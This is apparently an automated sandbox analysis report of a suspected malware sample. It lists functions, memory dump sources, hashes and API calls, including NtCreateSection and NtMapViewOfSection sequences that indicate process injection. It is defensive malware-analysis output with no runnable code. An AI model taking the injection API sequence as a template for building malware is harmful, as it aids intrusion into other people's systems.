Opcode ID: 87c9353dd802639144902710b699223c01dddb704a7af5c883605137a5967ae2
Instruction ID: 21ebc4e875966bc214e4ebfd6bd6b412c327d1e9cddf1197aa94664d48aab356
Opcode Fuzzy Hash: 87c9353dd802639144902710b699223c01dddb704a7af5c883605137a5967ae2
Instruction Fuzzy Hash: 8AF0A07970CA098FF755AEB66C843A62291E78432FF16893A9005C6180DD3B89424341

Uniqueness

Uniqueness Score: -1.00%

Function 0000018E5D84697C Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

GetProcAddressForCaller.KERNELBASE ref: 0000018E5D8469A3

Memory Dump Source

Source File: 00000006.00000002.2026763505.0000018E5D841000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000018E5D841000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_18e5d841000_AppLaunch.jbxd

Similarity

API ID: AddressCallerProc
String ID:
API String ID: 2663294120-0
Opcode ID: 2281c8d1acfe59b1600e3eaaeea13a07426774ac218d4fd6d2e2e37010b99408
Instruction ID: 32acbb23bc32e467d3bb7b358047b43b2810693ee4ee8222a7a23b3059f13209
Opcode Fuzzy Hash: 2281c8d1acfe59b1600e3eaaeea13a07426774ac218d4fd6d2e2e37010b99408
Instruction Fuzzy Hash: 36E0C221704D190BAB6861AE248C6B655C6C7DC27A704827BE41CC3299EC51CC824390

Uniqueness

Uniqueness Score: -1.00%

Function 0000018E5D843C88 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

RtlAddFunctionTable.KERNEL32 ref: 0000018E5D843CB5

Memory Dump Source

Source File: 00000006.00000002.2026763505.0000018E5D841000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000018E5D841000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_18e5d841000_AppLaunch.jbxd

Similarity

API ID: FunctionTable
String ID:
API String ID: 1252446317-0
Opcode ID: 9b7d75a84148f5670434543918403749cff5ebc7ae0c8f65432214b84f97b8e4
Instruction ID: 58efc13c5afd4f7b089e247b0ae160724d2140068be7141fbd2a514ba098496f
Opcode Fuzzy Hash: 9b7d75a84148f5670434543918403749cff5ebc7ae0c8f65432214b84f97b8e4
Instruction Fuzzy Hash: 37E086342409056FEFA8DB1DC94939036D0E79C30EF60826CD405C9291CB3AC6DBCF81

Uniqueness

Uniqueness Score: -1.00%

Function 0000018E5D846950 Relevance: 1.5, APIs: 1, Instructions: 24libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 0000018E5D846972

Memory Dump Source

Source File: 00000006.00000002.2026763505.0000018E5D841000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000018E5D841000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_18e5d841000_AppLaunch.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: deadc42d593f6e2d9e8bf000e5cc548490ab76c2dd2841c06e942c08cce04583
Instruction ID: 42de160dedb56be574c1fdc2d8aa106c4e4f114e2ab79c8327b3b12f4bf7f965
Opcode Fuzzy Hash: deadc42d593f6e2d9e8bf000e5cc548490ab76c2dd2841c06e942c08cce04583
Instruction Fuzzy Hash: 92D0A720320D0D0BEA48633D1C957B521DAE7CC32AF50413AB40AC2286DD59CD570340

Uniqueness

Uniqueness Score: -1.00%

Function 0000018E5D842298 Relevance: 1.3, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE ref: 0000018E5D8422C0

Memory Dump Source

Source File: 00000006.00000002.2026763505.0000018E5D841000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000018E5D841000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_18e5d841000_AppLaunch.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 041af09e7524d08a8cd3a5eaf2dd428eaddc7b2dbb7c5f751690020b41cd4546
Instruction ID: 4e23e473f141f647e9ebcd8864191f508074ff9a742cb9af57118c74fafb1a62
Opcode Fuzzy Hash: 041af09e7524d08a8cd3a5eaf2dd428eaddc7b2dbb7c5f751690020b41cd4546
Instruction Fuzzy Hash: 64E08C70715E0A0BFB89EB9A989433273E5E76D30AF508039A81AC22A0DF298805C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA01459 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2030294993.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9ba00000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acc60175112cfe4ab06ee6caf0282a2b00a7a045d25e0e6ad188e6a064767c65
Instruction ID: 1efdc1fef6bb8cbf78cd053aae76e296573f2fd1a6044f9186785deb7854caf3
Opcode Fuzzy Hash: acc60175112cfe4ab06ee6caf0282a2b00a7a045d25e0e6ad188e6a064767c65
Instruction Fuzzy Hash: 55A11931B0D94D0FD7689B6884656F977D1EFA6310F0501BEF48EC72A7DE68A9028781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA00745 Relevance: .3, Instructions: 302COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2030294993.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9ba00000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5714e3684fab7af5bfa840fac5635eba33d7c933d9a3037aa9ec30adb4ac39bf
Instruction ID: 97bf9c8728b2f361675c6123aad7adaa3f8ac05954d8532b21de7bda922c3348
Opcode Fuzzy Hash: 5714e3684fab7af5bfa840fac5635eba33d7c933d9a3037aa9ec30adb4ac39bf
Instruction Fuzzy Hash: 0D910222B0E98D4FE7789B6854251787BD1EF66700F1A00BBE0DDC71E7CEA8AD058785

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA0088C Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2030294993.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9ba00000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bdf97b75a2e4340a8f3588fbe849aeee1c4fcaa5b444060bb02b895a67ed72b
Instruction ID: 408fd2d3db5ce410fb1f39eba38fc84fa05afd8d3ee16608e3577e0322454377
Opcode Fuzzy Hash: 7bdf97b75a2e4340a8f3588fbe849aeee1c4fcaa5b444060bb02b895a67ed72b
Instruction Fuzzy Hash: 43318031758A1D4FDBA8EA2C9468A7A77D1FFA8312B06017FE08ED72A1DE60DC418740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA00D35 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2030294993.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9ba00000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14f52e337f5d93a0ff723e36f32f14f4375e13d50974500c1fca71dd3eb1f6f5
Instruction ID: bb287102f9c03df57e3d662a930449b055455c75e9f4e9f3e6a8d9d6e003d02d
Opcode Fuzzy Hash: 14f52e337f5d93a0ff723e36f32f14f4375e13d50974500c1fca71dd3eb1f6f5
Instruction Fuzzy Hash: A8319031719D4D8FD7A5E72C80247A9BBD1FF5A700F0540E6E09DCB2A2DF65AD458381

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA01272 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2030294993.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9ba00000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ea97134ad2d827a17f12024d19b8cc3ca5a1def27dff21c8a6c686248530a1e
Instruction ID: 6377915f2c799974ec3a1ad798cd2a6068c2a3ba26f87c929f2bc726e9fd96b3
Opcode Fuzzy Hash: 8ea97134ad2d827a17f12024d19b8cc3ca5a1def27dff21c8a6c686248530a1e
Instruction Fuzzy Hash: 2A212511B0E94A0FF7A5E77C84656A92BD1EF9B300F0444F9D49DCB2EBDD19AC454342

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA01767 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2030294993.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9ba00000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6ac5a95d6894054665938f3893e6f214153d1af7e096e7fdcb3f290ece55dda
Instruction ID: cedf23bdf050fd6ca0ef0531762ab8102415eeb9bb6bf4c93af1451f91de5b77
Opcode Fuzzy Hash: d6ac5a95d6894054665938f3893e6f214153d1af7e096e7fdcb3f290ece55dda
Instruction Fuzzy Hash: E911EC30B0991C8FDB98F79CD4626ECB7E1EF5A310F410129E14ED32A6CE65AD528781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA009E1 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2030294993.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9ba00000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5be67d1e6393d62d37efc08e69e813fb7464e14341378d23f2d68ad8c854f79e
Instruction ID: 628160b0b7234e90973de8adc432e9b2928f133fe3b4adb4698e2819629d2fea
Opcode Fuzzy Hash: 5be67d1e6393d62d37efc08e69e813fb7464e14341378d23f2d68ad8c854f79e
Instruction Fuzzy Hash: EE118B61A4E2CE0EE73AA3B844353A52F619F83704F4601F9D0D98A2E3DE9E2945C356

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA00CBD Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2030294993.00007FFD9BA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9ba00000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47e1739ef94916f32f9c1255e7ed631159f3003775f5c6683669ae7dff8822bf
Instruction ID: a6937a9c88f7563e8663c487f7f9d3e981e5d24788cff48c92ad8751c0a006a5
Opcode Fuzzy Hash: 47e1739ef94916f32f9c1255e7ed631159f3003775f5c6683669ae7dff8822bf
Instruction Fuzzy Hash: 9D01DE41A0F6CA1FD762677808751A26FA4DF47614B1904FBD0D9C60ABD848294AC396

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: D4C0.vmt.exePID: 4820, Parent PID: 7124COMMON

Execution Graph

Execution Coverage:	5.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	42
Total number of Limit Nodes:	1

Executed Functions

Function 00401668 Relevance: 10.7, APIs: 7, Instructions: 203
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401776
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401794
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017D5
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401806
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401828

Memory Dump Source

Source File: 0000000B.00000002.2100182480.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2100153566.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2100247490.0000000000404000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2100297945.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_D4C0.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 02ceaf673d94f587c51b31482cc60a54ccbffaa9b353b6f3b2f6cd97280d7897
Instruction ID: 8cb595480139d26c46b8ec7cc0b1953ca669d16196fac315a4b1bba12a726abb
Opcode Fuzzy Hash: 02ceaf673d94f587c51b31482cc60a54ccbffaa9b353b6f3b2f6cd97280d7897
Instruction Fuzzy Hash: 10615F71A00245FBEB208F91CC89FAB7BB8EF81700F14016AF912BA2E5D7759941DB65

Uniqueness

Uniqueness Score: -1.00%

Function 00401673 Relevance: 10.7, APIs: 7, Instructions: 177
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401776
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401794
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017D5
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401806
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401828

Memory Dump Source

Source File: 0000000B.00000002.2100182480.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2100153566.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2100247490.0000000000404000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2100297945.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_D4C0.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 891fcc6af389a82af9568d78e59cda6317322d24d5faa624000b501fdb4194fa
Instruction ID: 8f8f6f685010ceb9f347f6944b71906c12c330ff756c9570f537c200b9fbed0e
Opcode Fuzzy Hash: 891fcc6af389a82af9568d78e59cda6317322d24d5faa624000b501fdb4194fa
Instruction Fuzzy Hash: 0D512AB1900245BFEB208F91CC89FEB7BB8EF85B00F14416AF911BA2E5D7759945CB24

Uniqueness

Uniqueness Score: -1.00%

Function 0040169C Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401776
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401794
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017D5
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401806
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401828

Memory Dump Source

Source File: 0000000B.00000002.2100182480.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2100153566.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2100247490.0000000000404000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2100297945.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_D4C0.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 272a0d403cf9641941f52f0e8d2b7fa7c4e637c03412b72681c5832d9ab09354
Instruction ID: 77b0854bfe43c2aef023a2673bc99ccec947be12c3e09680a2140a748d19bd66
Opcode Fuzzy Hash: 272a0d403cf9641941f52f0e8d2b7fa7c4e637c03412b72681c5832d9ab09354
Instruction Fuzzy Hash: 045109B5900245BBEF208F91CC89FEFBBB8EF85B00F104159F911BA2A5D7759941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 004016AA Relevance: 10.7, APIs: 7, Instructions: 163
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401776
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401794
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017D5
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401806
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401828

Memory Dump Source

Source File: 0000000B.00000002.2100182480.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2100153566.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2100247490.0000000000404000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2100297945.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_D4C0.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 9cec1cb01ca719f82c6422275eb34a26baccc27091fd0648b709ae14649a59af
Instruction ID: e5c4e8598d155431446e689f00fa6c699f5174c3f9309ca03551973270348d15
Opcode Fuzzy Hash: 9cec1cb01ca719f82c6422275eb34a26baccc27091fd0648b709ae14649a59af
Instruction Fuzzy Hash: 055108B5900249BBEF208F91CC89FEFBBB8EF85B00F104159F911BA2A5D7759941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 004016A1 Relevance: 10.7, APIs: 7, Instructions: 162
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401776
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401794
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017D5
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401806
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401828

Memory Dump Source

Source File: 0000000B.00000002.2100182480.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2100153566.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2100247490.0000000000404000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2100297945.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_D4C0.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 92ffd616a47cab6235f322e7d1ca718a451a31190012e06c6a6c0e0f76648b67
Instruction ID: bff82585a94b653d791479d25ffa7738401545132b31b5a2d4ccc15da20913fe
Opcode Fuzzy Hash: 92ffd616a47cab6235f322e7d1ca718a451a31190012e06c6a6c0e0f76648b67
Instruction Fuzzy Hash: 785118B5900249BBEF208F91CC89FEFBBB8EF85B00F104159F911BA2A5D7719940CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401A3F Relevance: 1.3, APIs: 1, Instructions: 46
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A93

Part of subcall function 00401668: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
Part of subcall function 00401668: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753

Memory Dump Source

Source File: 0000000B.00000002.2100182480.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2100153566.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2100247490.0000000000404000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2100297945.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_D4C0.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 6d8ad5bbb507daeef821ca409a91fce6cd02b16c8eba4e12a7ced1510463ffbb
Instruction ID: 0405cf3f50ed5d956599920bb74973a651d39c73aeea14585325784e5073188e
Opcode Fuzzy Hash: 6d8ad5bbb507daeef821ca409a91fce6cd02b16c8eba4e12a7ced1510463ffbb
Instruction Fuzzy Hash: 6801A43130A204FBDB00AAE09D81D7B3629AB05750F304577BA13790F1C57D8A126F6F

Uniqueness

Uniqueness Score: -1.00%

Function 00401A4E Relevance: 1.3, APIs: 1, Instructions: 41
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A93

Part of subcall function 00401668: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
Part of subcall function 00401668: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753

Memory Dump Source

Source File: 0000000B.00000002.2100182480.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2100153566.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2100247490.0000000000404000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2100297945.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_D4C0.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 291dad51ae9845e25adb8a4ff114bca4983d53b80b8e944ca78d20dced767d1e
Instruction ID: 151e845f57ec598ea54a5a496c561fa99d2a1d19fd45ae50ddd01b3c9bf2891c
Opcode Fuzzy Hash: 291dad51ae9845e25adb8a4ff114bca4983d53b80b8e944ca78d20dced767d1e
Instruction Fuzzy Hash: 89F0C876306244EBDB009EE08D51EAA3625AF01310F240577B912751E1C67DCA12AF2B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A6A Relevance: 1.3, APIs: 1, Instructions: 35
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A93

Part of subcall function 00401668: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
Part of subcall function 00401668: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753

Memory Dump Source

Source File: 0000000B.00000002.2100182480.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2100153566.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2100247490.0000000000404000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2100297945.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_D4C0.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: e66ab9be692f9555cbdb5e88142f0a61d932ae8df08779d9278eb233dbc2c5d0
Instruction ID: 2e86c35fdfcaae7ef9cecc4c1df2f7bf5847f43c02019ecbdb9e70af9d7e101f
Opcode Fuzzy Hash: e66ab9be692f9555cbdb5e88142f0a61d932ae8df08779d9278eb233dbc2c5d0
Instruction Fuzzy Hash: 91F05E31346205FBDB009EE09D81EBA3629AF45710F244177BA13791F2C67D8A12AF2B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A71 Relevance: 1.3, APIs: 1, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A93

Part of subcall function 00401668: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
Part of subcall function 00401668: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753

Memory Dump Source

Source File: 0000000B.00000002.2100182480.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2100153566.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2100247490.0000000000404000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2100297945.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_D4C0.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: e13cc55455c98e6747fdcaf1300b14cd45be41dd5220fa342375a9f0f024a93a
Instruction ID: 9957b61946ed62f1bbaf51e9be9c6cda0d74723c5cfde22ea4b26d113c42f9d6
Opcode Fuzzy Hash: e13cc55455c98e6747fdcaf1300b14cd45be41dd5220fa342375a9f0f024a93a
Instruction Fuzzy Hash: A0F0A731301205FBDF00AFE0CD81DAA3739AF44310F144576BA12751E1C639CA11AF2B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A82 Relevance: 1.3, APIs: 1, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A93

Part of subcall function 00401668: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
Part of subcall function 00401668: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753

Memory Dump Source

Source File: 0000000B.00000002.2100182480.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2100153566.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2100247490.0000000000404000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2100297945.0000000000405000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_D4C0.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: d624887c81751b27c9bd15a31d4137b6ab5b433bec8673b55bffdf032be8f76e
Instruction ID: 21aa175247acbe6b1edd241deca8f4f5c706112db1e502caa6c66dbcef64fcfd
Opcode Fuzzy Hash: d624887c81751b27c9bd15a31d4137b6ab5b433bec8673b55bffdf032be8f76e
Instruction Fuzzy Hash: 9AF03771305244FBDF009FE18D81DAA3629AF45310F244576BA16791E1C679CA11AF2B

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: utihrjrPID: 6656, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	6.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	42
